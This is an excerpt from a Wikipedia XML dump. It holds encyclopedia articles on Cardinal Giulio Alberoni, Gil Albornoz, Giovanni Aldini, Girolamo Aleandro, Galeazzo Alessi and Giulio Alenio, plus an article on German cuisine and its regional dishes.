  <page>
    <title>Giulio Alberoni</title>
    <id>12479</id>
    <revision>
      <id>33944085</id>
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      <contributor>
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      <comment>Category:Italian cardinals</comment>
      <text xml:space="preserve">[[Image:Alberoni.JPG|thumb|right|Cardinal Alberoni]]
'''Giulio Alberoni''' ([[May 30]], [[1664]] OS - [[June 26]] NS, [[1752]]),  [[Italy|Italian]] [[Cardinal (Catholicism)|cardinal]] and 
[[statesman]] in the service of [[Philip V of Spain]], was born near [[Piacenza]], probably at the village of [[Fiorenzuola d'Arda]] in the [[Duchy of Parma]].

==Early years==

His father was a gardener, and he himself became first connected with the church in the humble position of a bellringer and verger in the cathedral of Piacenza, where he gained the notice of Bishop Barni, took priest's orders, and afterwards accompanied the son of his patron to [[Rome]].

During the [[War of the Spanish Succession]] Alberoni laid the foundation of his political success by the services he rendered to [[duke of Vendôme|Louis-Joseph, duc de Vendôme]], commander of the French forces in Italy, to whom the [[duke of Parma]] had sent him; and when these forces were recalled in 1706 he accompanied the duke to [[Paris]], where he was favourably received by [[Louis XIV of France|Louis XIV]].

==Middle years==

In [[1711]] he followed Vendôme into [[Spain]] as his secretary. He was very active in furthering the accession of the French candidate for the throne of Spain, [[Philip V of Spain|Philip V]]. Two years later, Vendôme having died in the interval, Alberoni was appointed consular agent for Parma at Philip's court, where he was the royal favourite, being raised at the same time to the dignity of count. On his arrival at [[Madrid]] he found the [[Marie-Anne de la Trémoille, princesse des Ursins|princesse des Ursins]] all but omnipotent with the king, and for a time he judged it expedient to use her influence in carrying out his plans.  Upon the death of the Queen ([[Maria Luisa of Savoy]]), Alberoni in concert with La Trémoille arranged for a marriage in 1714 between the widowed King and [[Elizabeth Farnese|Elisabetta Farnese]], daughter of the Duke of Parma. 

The influence of the new queen being actively exerted on Alberoni's behalf, within not much more than a year he was made a duke and [[Grandee|grandee of Spain]], a member of the king's council, appointed bishop of [[Málaga]], and in [[1715]] prime minister, and was made cardinal by [[Pope Clement XI]], under pressure from the court of Spain, in July [[1717]].  His vigorous internal policy mixed the economic reforms of [[Jean-Baptiste Colbert|Colbert]] for Louis XIV with some conservative Spanish aspects: a regular mail service to the Americas was instituted, yet the school of navigation he founded was reserved for the sons of the nobility. By a series of decreees in 1717, Alberoni reduced the powers of the grandees in royal councils. His main purpose was to produce an economic revival in [[Spain]] by abolishing internal custom-houses, throwing open the trade of the Indies and reorganizing the finances along lines that had been established by the French economist [[Jean Orry]]. 

With the resources thus gained he undertook to enable Philip V to carry out an ambitious foreign policy to undo the [[Treaty of Utrecht]], with the aim of countering the [[Habsburgs]] and recovering Spanish possessions in [[Italy]], where he was responsible for unwarranted invasions of [[Sardinia]] (November 1717) and [[Sicily]] (July [[1718]]), in spite of promises made to the Pope, while pressing Spanish causes in France.  Another extravagant scheme of Alberoni's was the plotted restoration of the Stuarts to the British throne in two [[Jacobitism|Jacobite]] expeditions to Scotland in the spring of [[1719]]. By provoking [[England]], [[France]], [[the Netherlands]] and the [[Holy Roman Empire|Empire]] to form the [[Quadruple Alliance]], his hasty and ambitious plans brought a flood of disaster to Spain, for which Alberoni was held responsible. On [[December 5]], [[1719]], with Philip V fast becoming the common enemy of all Europe, Alberoni was ordered to leave Spain, Elizabeth herself having taken an active part in procuring the decree of banishment.

==Later years==

He went to Italy, escaped from arrest at Genoa, and had to take refuge among the [[Apennines]], [[Pope Clement XI]], who was his bitter enemy, having given strict orders for his arrest. On the death of Clement in [[1721]], Alberoni boldly appeared at the conclave, and took part in the election of [[Pope Innocent XIII|Innocent XIII]], after which he was for a short time imprisoned by the new pontiff on the demand of Spain, but was cleared of all charges by a commission of his fellow Cardinals. At the next election ([[1724]]) he was himself proposed for the papal chair, and secured ten votes at the conclave that elected [[Pope Benedict XIII|Benedict XIII]].

Benedict's successor, [[Pope Clement XII|Clement XII]] (elected [[1730]]), named him legate of [[Ravenna]], where he erected the Porta Alberoni ([[1739]]), a magnificent gateway that formerly provided access to the city's dockyards (since moved to the entrance of the Teatro Rasi) [http://www.racine.ra.it/ravenna/english/keys/historical/porta_alberoni_uk.htm]. The same year he incurred the pope's displeasure by the strong and unwarrantable measures he adopted to reduce the little republic of [[San Marino]] to subjection to Rome, an episode that remains prominent in local memory [http://www.guardiadelconsiglio.sm/English/history.htm].  He was consequently replaced by another legate in [[1740]], and soon after he retired to [[Piacenza]].  Clement XII appointed him administrator of the hospital of San Lazzaro at Piacenza in 1730. The hospital was a medieval foundation for the benefit of [[leprosy|lepers]]. The disease having disappeared from Italy, Alberoni obtained the consent of the pope to the suppression of the hospital, which had fallen into great disorder, and replaced it by a college for the education of seventy poor boys for the priesthood, under the name of the Collegio Alberoni, which it still bears. The Cardinal's collections of art gathered in Rome and Piacenza, housed in his richly appointed private apartments, have been augmented by the Collegio.  There are remarkable suites of Flemish tapestries, and paintings, among which the most famous is the ''Ecce Homo'' by [[Antonello da Messina]] ([[1473]]), but which also include panels by [[Jan Provoost]] and other Flemish artists, oil paintings by Domenico Maria Viani and Francesco Solimena.

Alberoni was a gourmet. Interspersed in his official correspondence with Parma are requests for local delicacies ''triffole'' ([[truffle]]s), [[salame]], ribiola cheeses, and anolini [http://www.comune.piacenza.it/english/localcusine.htm]. The pork dish ''&quot;Coppa del Cardinale&quot;'', a specialty of Piacenza, is named for him. A ''&quot;Timballo Alberoni&quot;'' combines maccaroni, shrimp sauce, mushrooms, butter and cheese.

==Death and afterwards==
He died leaving a sum of 600,000 ducats to endow the seminary he had founded, and the residue of the immense wealth he had acquired in [[Spain]] to his nephew. Alberoni left a large quantity of manuscripts; but the genuineness of the Political Testament, published in his name at [[Lausanne]] in [[1753]], has been questioned.

==External links==
*[http://www.newadvent.org/cathen/01260a.htm ''Catholic Encyclopedia'':] Giulio Alberoni
*[http://www.catholic-hierarchy.org/bishop/balberoni.html Catholic Hierarchy:] Giulio Cardinal Alberoni
*[http://www.fiu.edu/~mirandas/conclave-xviii.htm Cardinals of the Holy Roman Church:]Conclave of March 31 - May 8, 1724
*[http://www.museionline.it/eng/cerca/museo.asp?id=2125 Collegio Alberoni, Piacenza]
*[http://www.guardiadelconsiglio.sm/English/history.htm The San Marino event of 1739-40]

==Publications==
*Early works
**Jean Rousset de Missy, ''Histoire du Cardinal Alberoni'' The Hague, 1719.  
**Stefano Bersani, ''Storia del Cardinale Giulio Alberoni,'' Piacenza, 1861. An encomium by a priest educated at his college.
** Giovanni Bianchi, ''Giulio Alberoni e il suo secolo,''  1901.  
**''Lettres intimes de J. Alberoni,'' edited by M. E. Bourgeois, 1892.

{{1911}}

[[Category:1664 births|Alberoni, Giulio]]
[[Category:1752 deaths|Alberoni, Giulio]]
[[Category:Italian cardinals|Alberoni, Giulio]]

[[it:Giulio Alberoni]]
[[de:Giulio Alberoni]]
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    </revision>
  </page>
  <page>
    <title>Gil Alvarez De Albornoz</title>
    <id>12480</id>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Albornoz.jpg|thumb|Portrait of Cardinal Gil Albornoz]]

'''Gil Álvarez Carrillo de Albornoz''' ([[1310]]-[[1367]]), [[Spain|Spanish]] [[cardinal (Catholicism)|cardinal]], was born at [[Cuenca, Spain|Cuenca]] early in the [[14th century]]. He was the son of Gil Alvarez de Albornoz and of Doña Teresa de Luna, sister of Kimeno de Luna, archbishop of [[Toledo, Spain|Toledo]]. He was educated at [[Zaragoza, Spain|Zaragoza]], while his uncle was bishop of that see, and studied law at [[Toulouse]].

The powerful influence of his family opened him a public career early in life.  He was made archdeacon of [[Calatrava]], and became a member of the king's council while young. In [[1338]] he was chosen [[archbishop]] of [[Toledo]] in succession to his uncle by the favour of the king, [[Alfonso XI of Castile]]. At the [[battle of Tarifa]] he fought against a great invasion from [[Africa]] in 1340, and at the taking of Algeciras in 1344 he led the armed levy of his archbishopric.

In [[1343]] he had been sent to [[Pope Clement VI]] at [[Avignon]] to negotiate a grant of a tax on the revenues of the Church for the Crusade. His military and diplomatic ability became known to the pope, who made him a cardinal in 1350.  Albornoz left [[Spain]] on the death of the king Alfonso XI in that year, and never returned. It has been said, but not on contemporary evidence, that he fled from fear of [[Peter I of Castile|Peter the Cruel]].

In [[1353]] [[Pope Innocent VI|Innocent VI]] sent him as a legate into [[Italy]], with a view to the restoration of the papal authority in the states of the Church. He was recalled in 1357, but was sent again to Italy after a brief interval, and in 1362 had paved the way for the return of [[Pope Urban V|Urban V]] to [[Rome]].

As legate, Albornoz showed himself to be an astute manager of men and effective fighter. He began by making use of Rienzi, whose release from prison at Avignon he secured. After the murder of the tribune in [[1354]] Albornoz pursued his task of restoring the pope's authority by intrigue and force with remarkable success. As a mark of gratitude the pope appointed him legate at [[Bologna]] in [[1367]], but he died at Viterbo the same year. According to his own desire his remains were carried to Toledo, where Henry of Castile caused them to be entombed with almost royal honours.

A work by Albornoz on the constitution of the Church of Rome, first printed at Jesi in 1473, is now very rare.  The college of St Clement at Bologna was founded by Albornoz for the benefit of Spanish students.

See &quot;De Vita et Rebus Gestis Aegidii Albornotii,&quot; in Sepulveda's ''Opera Omnia'', vol. iv. (1780).

==External links==
* [http://www.newadvent.org/cathen/06558a.htm ''Catholic Encyclopedia'' - Alvarez Carillo Gil de Albornoz]

[[Category:1310 births|Albornoz, Gil]]
[[Category:1367 deaths|Albornoz, Gil]]
[[Category:Spanish cardinals|Albornoz]]

[[it:Egidio Albornoz]]</text>
    </revision>
  </page>
  <page>
    <title>Giovanni Aldini</title>
    <id>12481</id>
    <revision>
      <id>39968599</id>
      <timestamp>2006-02-17T04:09:22Z</timestamp>
      <contributor>
        <username>Kusma</username>
        <id>145855</id>
      </contributor>
      <comment>add external link</comment>
      <text xml:space="preserve">'''Giovanni Aldini''' ([[April 10]] [[1762]] -- [[January 17]] [[1834]]), [[Italy|Italian]] [[physicist]] born at [[Bologna]], was a brother of the statesman Count [[Antonio Aldini]] (1756-1826) and nephew of [[Luigi Galvani]], whose treatise on muscular electricity he edited with notes in [[1791]].

He became professor of physics at Bologna in [[1798]], in succession to his teacher [[Sebastiano Canterzani]] (1734-1819).  His scientific work was chiefly concerned with [[galvanism]] and its medical applications, with the construction and illumination of [[lighthouse]]s, and with experiments for preserving human life and material objects from destruction by fire.  He wrote in French and English in addition to his native Italian.  In recognition of his merits, the emperor of [[Austria]] made him a [[knight of the Iron Crown]] and a councillor of state at [[Milan]], where he died.  He bequeathed a considerable sum to found a school of natural science for artisans at Bologna.

==External links==
*[http://www.guardian.co.uk/life/farout/story/0,13028,1320888,00.html Sparks of Life] article about Aldini's experiments on an executed criminal
 
==References==
*{{1911}}

[[Category:1762 births|Aldini, Giovanni]]
[[Category:1834 deaths|Aldini, Giovanni]]
[[Category:Italian physicists|Aldini, Giovanni]]

[[ro:Giovanni Aldini]]</text>
    </revision>
  </page>
  <page>
    <title>Girolamo Aleandro</title>
    <id>12482</id>
    <revision>
      <id>41916111</id>
      <timestamp>2006-03-02T16:24:03Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <comment>correction - it is Toscanus</comment>
      <text xml:space="preserve">'''Girolamo Aleandro''' (also '''Hieronymus''' or '''Jerome Aleander''') ([[13 February]], [[1480]] - [[1 February]] [[1542]]) was an Italian [[Cardinal (Catholicism)|cardinal]].

Born at [[Motta]], near [[Venice]]. He studied at Venice, where he became acquainted with [[Erasmus]] and [[Aldus Manutius]], and at an early age was reputed one of the most learned men of the time. In [[1508]] he went to [[Paris]] on the invitation of [[Louis XII of France|Louis XII]] as professor of ''belles lettres,'' and held for a time the position of rector in the university. Entering the service of [[Eberhard]], prince-[[Bishopric of Liège|bishop of Liège]], he was sent by that prelate on a mission to Rome, where [[Pope Leo X]] retained him, giving him (1519) the office of librarian of the Vatican. In the following year he went to [[Germany]] to be present as papal [[nuncio]] at the coronation of [[Charles V, Holy Roman Emperor|Charles V]], and was also present at the [[diet of Worms]], where he headed the opposition to [[Martin Luther|Luther]], advocating the most extreme measures to repress the doctrines of the reformer. His conduct evoked the fiercest denunciations of Luther, but it also displeased more moderate men and especially Erasmus. The edict against the reformer, which was finally adopted by the emperor and the diet, was drawn up and proposed by Aleandro.

After the close of the diet the papal nuncio went to the Netherlands; where he kindled the flames of persecution, two monks of [[Antwerp]], the first martyrs of the Reformation, being burnt in [[Brussels]] at his instigation. In 1523 [[Pope Clement VII]], having appointed him archbishop of [[Brindisi]] and [[Oria]], sent him as nuncio to the court of [[Francis I of France|Francis I]]. He was taken prisoner along with that monarch at the [[battle of Pavia]] (1525), and was released only on payment of a heavy ransom. He was subsequently employed on various papal missions, especially to Germany, but was unsuccessful in preventing the German princes from making a truce with the reformers, or in checking to any extent the progress of the new doctrines. He was created cardinal in 1536 by [[Pope Paul III]] (at the same time as [[Reginald Pole]]) and died at [[Rome]] on the 1st of February 1542.

Aleandro compiled a ''Lexicon Graeco-Latinum'' (Paris, 1512), and wrote Latin verse of considerable merit inserted in the ''Carmina Illustrium Poetarum Italicorum'' of [[Joannes Matthaeus Toscanus]]. The Vatican library contains a volume of manuscript letters and other documents written by him in connection with his various missions against Luther. They were utilized by [[Pietro Sforza Pallavicino|Pallavicino]] in his ''Istoria del Concilio Tridentino'' (i. 23&amp;#8209;28), who gives a very partial account of the Worms conference.

Aleandro, who is sometimes called &quot;the elder,&quot; must be distinguished from his grand-nephew, also called Girolamo Aleandro (1574-1629). The younger Aleandro was a very distinguished scholar, and wrote ''Psalmi poenitentiales versibus elegiacis expressi'' (a paraphrase of the penitential psalms in elegiac verse, Trier, 1593), ''Gaii, veteris juris consulti Institutionum fragmenta, cum commentario'' (a commentary of the ''Fragmenta'' of the ancient Roman jurisconsult [[Gaius (jurist)|Gaius]], Venice, 1600), ''Explicatio veteris tabulae marmoricae solis effigie symbolisque exculptae'' (Rome, 1616).

==References==
*{{1911}}

[[Category:1480 births|Aleandro]]
[[Category:1542 deaths|Aleandro]]
[[Category:Italian cardinals|Aleandro]]
[[Category:Natives of the Veneto|Aleandro]]
[[Category:Diplomats of the Holy See|Aleandro]]

[[no:Girolamo Aleandro]]</text>
    </revision>
  </page>
  <page>
    <title>Galeazzo Alessi</title>
    <id>12483</id>
    <revision>
      <id>38884411</id>
      <timestamp>2006-02-09T06:27:26Z</timestamp>
      <contributor>
        <username>CARAVAGGISTI</username>
        <id>583904</id>
      </contributor>
      <text xml:space="preserve">'''Galeazzo Alessi''' ([[1512]]- [[December 30]], [[1572]]), Italian architect, was born 
at [[Perugia]], and was probably a pupil of [[Caporali]].  He was an 
enthusiastic student of ancient architecture, and his style gained 
for him a European reputation.  [[Genoa]] is indebted to him for 
a number of its most magnificent palaces, and specimens of his 
skill may be seen in the churches of San Paolo and Santa Vittoria 
at [[Milan]], in certain parts of the [[El Escorial]], and in numerous 
churches and palaces throughout [[Sicily]], [[Flanders]] and [[Germany]]. 

See Rossi, ''Di Galeazzo Alessi memorie'' (Perugia, 1873). 

==References==
*{{1911}}

[[Category:1512 births|Alessi, Galeazzo]]
[[Category:1572 deaths|Alessi, Galeazzo]]
[[Category:Italian architects|Alessi, Galeazzo]]

[[fr:Galeazzo Alessi]]
[[gl:Galeazzo Alessi]]
[[it:Galeazzo Alessi]]
[[pt:Galeazzo Alessi]]
[[sv:Galeazzo Alessi]]</text>
    </revision>
  </page>
  <page>
    <title>Giulio Alenio</title>
    <id>12484</id>
    <revision>
      <id>38730092</id>
      <timestamp>2006-02-08T06:08:14Z</timestamp>
      <contributor>
        <username>Roland Longbow</username>
        <id>428413</id>
      </contributor>
      <text xml:space="preserve">'''Giulio Alenio''' (often spelled Giulio Aleni; [[Chinese]]: &amp;#33406;&amp;#20754;&amp;#30053;; [[1582]] - [[1649]]), [[Italy|Italian]] Jesuit [[missionary]], was born at [[Brescia]].

He entered the [[Society of Jesus]] and was sent to the East. He landed at [[Macau]] in [[1610]], and while waiting a favourable opportunity to penetrate into [[China]] busied himself for three years in teaching [[mathematics]].

His thirty years' residence in China was marked by unceasing zeal and considerable 
success.  He adopted the dress and manners of the country, was the first Christian missionary in [[Kiangsi]], and built several churches in [[Fujian]].  He wrote in Chinese a life of [[Jesus]] (Pekin, 1635-1637, 8 vols.; often reprinted, e.g. in 1887 in 3 vols., and used even by Protestant missionaries) and a cosmography (''Iche fang wai ki Hang-chow'', 1623, 6 vols.), which was translated into [[Manchu]] under the title ''The True Origin of 10,000 Things,'' a copy of which was sent from [[Beijing]] to Paris in [[1789]].  Alenio died at [[Fuzhou]] in [[1649]]. 

He was called &quot;[[Confucius]] from the West&quot;. He was known to the Chinese people as &amp;#33406;&amp;#20754;&amp;#30053;.

==References==
*{{1911}}

[[Category:1582 births|Alenio, Giulio]]
[[Category:1649 deaths|Alenio, Giulio]]
[[Category:Jesuits|Alenio, Giulio]]
[[Category:Jesuit China missions|Alenio]]
[[Category:Non-Chinese known by Chinese names|Alenio, Giulio]]

[[it:Giulio Aleni]]
[[zh:&amp;#33406;&amp;#20754;&amp;#30053;]]</text>
    </revision>
  </page>
  <page>
    <title>German cuisine</title>
    <id>12485</id>
    <revision>
      <id>39617036</id>
      <timestamp>2006-02-14T18:23:06Z</timestamp>
      <contributor>
        <ip>84.154.5.159</ip>
      </contributor>
      <comment>/* Meat */</comment>
      <text xml:space="preserve">{{Cuisine}}
'''German Cuisine''' varies greatly from region to region. The southern regions of [[Bavaria]] and [[Swabia]] share many dishes among them and with their neighbours to the south, [[Switzerland]] and [[Austria]]. In the West, [[French cuisine|French]] influences are more pronounced, while the eastern parts of the country have much in common with [[Eastern European cuisine]] and there are marked [[Scandinavia]]n influences in the northern coastal regions.

==Eating Habits==
Traditionally, the main meal of the day is lunch (''Mittagessen''), eaten around noon. Dinner (''Abendessen'' or ''Abendbrot'') is a smaller meal, sometimes only consisting of a couple of sandwiches. However, changing working habits have forced this to be changed in recent decades; today, it is not uncommon for many Germans to eat their main meal in the evening.

Breakfast ''(Frühstück)'' commonly consists of bread, toast, and/or [[bread roll]]s (''Brötchen, Semmeln, Schrippen, Wecken or Rundstücke'') with jam, marmalade or honey, eggs, and coffee or tea (cocoa for children).  Deli meats, such as [[ham]] and [[salami]], are also commonly eaten on bread in the morning, as are various cheeses.  A variety of meat-based spreads such as [[Leberwurst]] (literally ''liver-sausage'') can be found during breakfast as well.  [[Muesli]] and cereals such as cornflakes are also popular.

==Meat==
[[Pork]], [[beef]] and [[poultry]] are the main varieties of meat consumed in Germany, with pork being the most popular by a substantial margin. Among poultry, [[chicken]] is most common, although [[duck]], [[goose]], and [[domesticated turkey|turkey]] are also well established. [[Game (food)|Game meats]], especially [[boar]], [[rabbit]], and [[venison]] are also widely available around the year. [[Lamb]] and [[goat]] are also available, but for the most part are not very popular. [[Horse]] meat is regarded as a speciality in some regions but consumption is sometimes frowned upon.

Meat is usually [[pot roast|pot-roasted]]; pan-fried dishes also exist, but these are usually imports from [[cuisine of France|France]]. Throughout Germany, meat is very often eaten in [[sausage]] form. There are more than 1500 different types of sausage in Germany. 

An all-time favorite in Germany is [[Schnitzel]], which is commonly made from pork. The original variety comes from [[Vienna]] and is made from veal.

==Fish==
[[Trout]] is the most common freshwater fish on German menus, although [[pike (fish)|pike]], [[carp]], and [[perch]] are also frequently served. Seafood  was traditionally restricted to the northern coastal areas &amp;mdash; except for the once-ubiquitous pickled [[herring]]. Nowadays many seafish like fresh herring (also as [[rollmops]]),  [[sardine]], [[tuna]], [[mackerel]], and [[salmon]] have become well established throughout the country. Prior to the industrial revolution and the ensuing pollution of the rivers, however, salmon was so common in the rivers Rhine, Elbe, and Oder that servants complained about being served salmon too often. Freshwater fish are often served grilled.

Other seafood is not often served, but [[mussel]]s and North Sea [[shrimp]] &amp;mdash; which unfortunately are very expensive nowadays compared to imported shrimp &amp;mdash; can be found sometimes.

==Vegetables==
Vegetables are often eaten in [[stew]]s or vegetable soups, but can also be served as a side dish. Carrots, turnips, spinach, peas, beans, and many types of cabbage are very common. Fried onions are a common addition to many meat dishes throughout the country, although they are almost unknown in Bavarian cuisine. [[Potato]]es are usually not counted among vegetables by Germans. [[Asparagus]], especially white asparagus, is particularly enjoyed in Germany as a side dish or as a main meal.  Sometimes restaurants will even devote an entire menu to nothing but asparagus. However, consumption of fresh asparagus is traditonally limited to the time before St. John's Day (June 24th).

==Side Dishes==
[[Noodles]] are usually thicker than [[cuisine of Italy|Italian]] pasta and often contain [[egg yolk]]. Especially in the southern part of the country, the predominant variety of noodles is [[Spaetzle|Spätzle]] which contain a very large amount of yolk. In recent years, however, Italian-style pasta has very nearly supplanted the traditional varieties, and even Spätzle are often made with durum wheat and no egg yolk. Besides noodles, potatoes and dumplings ([[Klöße]] or [[Knödel]]) are very common, especially in the south. Potatoes entered German cuisine in the late 18th century and were almost ubiquitous in the 19th and 20th centuries, but their popularity is currently waning somewhat in favour of noodles and rice. Potatos are most often served boiled in salt water, but mashed and fried potatoes also are traditional, and French fries have now become very common.

==Drinks==
'''[[Beer]]''' is very common throughout all parts of Germany, with many local and regional breweries producing a wide variety of beers. In most of the country [[Pils]] is predominant today, whereas people in the South (especially in Bavaria) seem to prefer [[Lager]] or [[wheat beer]]. A number of regions have a special kind of local beer, for example the dark [[Altbier]] around the lower Rhine, the [[Kölsch]] of the Cologne area, which is light but like Altbier uses a more traditional brewing process than Pils, and the very weak [[Berliner Weisse|Berliner Weiße]], often mixed with fruit syrups, in Berlin. Beer may also be mixed with other beverages; pils and lemonade, known as Alsterwasser or [[Radler]], is a popular example.

'''[[Wine]]''' is also popular throughout the country. [[German wine]] comes predominantly from the areas along the upper and middle [[Rhine]] and its tributaries; the northern half of the country is too cold and flat to grow [[grape]] vines. [[Riesling]] and [[Silvaner]] are among the best-known varieties. Traditionally, white wine was more popular than red or rosé (except in some regions), and sweet wine more popular than dry, but both these tastes seem to be changing.

'''[[Coffee]]''' is also very common, not only for breakfast, but also accompanying a piece of cake in the afternoon. '''[[Tea]]''' is more common in the Northwest. East Frisians traditionally have their tea with cream and rock candy (&quot;Kluntje&quot;).

'''[[Apfelsaftschorle]]''', apple juice mixed with sparkling mineral water, is a common beverage.

'''[[Spezi]]''' is a soft drink made with cola and lemonade.  In Southern Germany and [[Austria]], Spezi a generic term for a mixture of cola and Fanta (or a similar orange soft drink). In some regions (Emsland) spezi is a mixture of cola and [[schnapps]].

Germans are unique among their neighbours in preferring strongly carbonated [[bottled water]]s to non-carbonated ones.

==Spices and condiments==
[[Culinary mustard|Mustard]] is a very common accompaniment to sausages and is usually very hot. In the southern parts of the country, a sweet variety of mustard is made which is almost exclusively served with Bavarian specialities such as [[Weißwurst]] and [[Leberkäse]]. [[Horseradish]] is also commonly used as a condiment.

[[Garlic]] was long frowned upon as &quot;making one stink&quot; and thus has never played a large role in traditional German cuisine, but it has seen a rise in popularity in recent decades due to the influence of [[French cuisine|French]],  [[Italian cuisine|Italian]], Spanish, Portuguese, Greek, and Turkish cuisine.

Generally, with the exception of mustard for sausages, German dishes are rarely hot and spicy &amp;mdash; the most popular herbs are traditionally [[parsley]], [[thyme]], [[bay laurel|laurel]], and [[chives]], the most popular spices are [[white pepper]] (used in small amounts), [[juniper]] berries and [[caraway]]. Other herbs and spices like [[basil]], [[sage]], [[oregano]], and hot [[chilli pepper]]s have become more popular in recent times.

==Desserts==
A wide variety of [[cake]]s and [[tart]]s are prepared throughout the country, most commonly made with fresh fruit. Apples, plums, strawberries, and cherries are used regularly on cakes. [[Cheesecake]] is also very popular and almost always made with [[quark]]. German [[doughnut]]s are usually balls of dough with jam or other fillings inside, and are known as ''[[Berliner (pastry)|Berliner]]'', ''Pfannkuchen'' or ''[[Krapfen]]'' depending on the region.

A popular dessert in northern Germany is &quot;Rote Grütze&quot;, red fruit jelly, which is cooked from black and red currants, raspberries and sometimes with strawberries or cherries.  It is traditionally served with cream, but also common with vanilla sauce, milk or whipped cream. &quot;Rhababergrütze&quot; (rhubarb jelly) and &quot;Grüne Grütze&quot; (gooseberry fruit jelly) are variations of the &quot;Rote Grütze&quot;.

[[Ice cream]] and [[sorbet]]s are also very popular. Italian-run ice cream parlours were the first large wave of foreign-run eateries in Germany, becoming widespread in the [[1920s]].

==Bread==
With regard to [[bread]], German cuisine is more akin to Eastern than to Western Europe. The country boasts at least 300 different types of bread, ranging from white [[wheat]] bread to grey bread (''Graubrot'') and &quot;black&quot; (actually dark brown) [[rye]] bread (''Schwarzbrot''). Most types of bread contain both wheat and rye flour (hence ''Mischbrot'', mixed bread), and often wholemeal and seeds (such as [[linseed]], [[sunflower]] seed, or [[pumpkin]] seeds) as well. [[Pumpernickel]], a [[Westphalia]]n black bread, is not baked but steamed, and has a unique sweetish taste.

=== [[Bread roll|Brötchen/Semmel/Schrippe/Weck/Rundstück]] ===
Bread rolls, known as ''Brötchen'', ''Semmel'', ''Schrippe'', ''Rundstück'' or ''Weckle''/''Weckli'' depending on the region, are common in German cuisine. They are typically cut in half, and spread with butter, margarine or mayonnaise. Cheese, meat, fish or preserves is then placed between the two halves, or on each half separately. 

Bread is usually eaten for breakfast and as sandwiches in the evening, not as a side dish for the main meal. The importance of bread (''Brot'') in German cuisine is also illustrated by words such as ''Abendbrot'' (supper, literally ''Evening Bread'') and ''Brotzeit'' (snack, literally ''Bread Time'').

==Specialities by region==

===[[Baden Germany|Baden]]===
* [[Snail soup]]
* [[Brägele]], sliced potatoes pan-fried in lard
* [[Knöpfle]], similar to [[Spätzle]], but thicker rather than long
* [[Schupfnudeln]], pasta made from potatoes and flour, often served with [[Sauerkraut]]
* [[Flädlesuppe]], broth with thin strips of German-style pancakes
* [[Bibbeleskäs]], cottage cheese

===[[Bavaria]] (''Bayern'')===
* [[Weißwurst|Weißwürste]] ('white [[sausage]]s') &amp;mdash; a speciality from [[Munich]] (''München''), traditionally eaten for [[second breakfast]]. Served with sweet mustard, [[pretzel]]s, and [[wheat beer]], even on working days, although companies usually set a limit on the amount of beer that may be drunk during work hours.
* [[wheat beer|Weizenbier]] (wheat beer)
* [[Knödel]] (dumplings made from potatoes or white bread) 
* [[Schweinebraten]] (pot-roasted pork)
* [[Leberkäse]] (a type of meat pie)

===[[Bremen (city)|Bremen]] and [[Lower Saxony]] ===
* Kohl und Pinkel ([[kale]], very slowly cooked, with bits of rather salty sausage; a typical winter dish)
* Heidschnucke (a type of goat)
* crabs
* Knipp

===[[Franconia]] (''Franken'')===
* [[Bratwurst]] (Fat beef or pork sausages served grilled). The best-known sausages are from [[Nuremberg]] (''Nürnberg'').
* [[Klöße]] (Large dumplings made from bread dough and served with pot-roasted meats)
* [[Gingerbread]] (Lebkuchen). The most famous German gingerbread is, again, from Nuremberg.

===[[Frankfurt am Main]] and [[Hessen]]===
* [[Green Sauce]] (Made from minced hardboiled eggs, oil, vinegar, and an abundant amount of seven fresh herbs. Served with boiled potatoes)
* Frankfurter sausage, a smoked sausage made from pure pork, which is eaten hot and usually accompanied by bread and mustard. Not to be confused with the [[United States|American]] hot dog &quot;[[Frankfurter]]&quot;.
* Apfelwein (dialect: Äbbelwoi), wine made of apples, somewhat comparable to [[Cider]] and French [[Cidre]]
* [[Sauer Gespritzer]], apfelwein mixed with sparkling water. Very refreshing, usually served during summer.
* [[Handkäs mit Musik]], a strong cheese made from curdled milk served in a dressing (the &quot;music&quot;) from vegetable oil, vinegar, caraway, salt and pepper. Usually served with rye bread and butter.

===[[Hamburg]]===
* [[Labskaus]] (made from [[corned beef]], mashed potatoes and beetroot and served with a fried egg and a gherkin)
* Birnen, Bohnen und Speck (literally &quot;pears, beans and bacon&quot;. These ingredients are cooked together into a stew)
* Aalsuppe (literally &quot;eel soup&quot;) a sweet and sour soup from meat broth, dried fruits, vegetables and herbs, but normally without eel.

===[[Palatinate]] (''Pfalz'')===
* [[Saumagen]] (Pork stomach)

===[[Rhineland]] ('''Rheinland''')===
* [[Sauerbraten]]
* [[Potato]] [[fritter]]s (''Reibekuchen'') with [[bread#Breads across different cultures|black bread]], apple syrup, sugar beet syrup or stewed apples
* [[Blood sausage]] (''Blutwurst'') crude or fried
* ''Himmel un Ääd'' (literally Sky and Earth) mashed potatoes with stewed apples and fried blood pudding
* ''Halbe Hahn'' (literally Half Rooster), actually not a rooster at all but a cheese sandwich with onions, the name is based on a wordplay ([[Cologne]])
* Rice pies, apricot pies and pear pies in [[Eschweiler]]
* [[Mussels]]

===[[Saarland]]===
* [[Dibbelabbes]] (A potato hash prepared from raw grated potatoes, bacon and leeks, and baked in a ''Dibbe'', or pot)
* [[Geheirote]] (lit. &quot;Married ones&quot;, Potatoes and dumplings made of flour served with a creamy bacon sauce)
* [[Schwenker]] or Schwenkbraten (pork steaks, [[marinade|marinated]] in spices and onions and broiled on a grill that hangs on a chain over a wood fire)

===[[Swabia]] (''Schwaben'')===
* [[Maultasche|Maultaschen]] (A distant relative of Italian [[ravioli]])
* [[Zwiebelkuchen]] (onion pie)
* [[Käsespätzle]] ([[Spaetzle]] (a kind of noodles) and fried onions gratinated with cheese)

===[[Thuringia]] (''Thüringen'')===
* [[Thüringer sausage|Thuringian Bratwurst]], red to grey in color, stuffed in a natural casing of pig intestine, unlike the white Franconian variety
* dumplings made of raw potatoes
* hearty meat dishes with rich sauces
* Mutzbraten: pound (!) of pork, roasted on open birchwood fire, served with sauerkraut
* delicious cakes

===Other famous dishes===
{{cookbook}}
* [[Hasenpfeffer]] (peppered hare)
* Schweinshaxe (pork hock)
* Spanferkel, a grilled whole young pig
* Speckpfannkuchen (large, thin pancakes with diced, fried bacon)
* [[Sauerkraut]] (pickled shredded cabbage) 
* [[Spaetzle]] (hand-made noodles used extensively in southern Germany and Alsace)
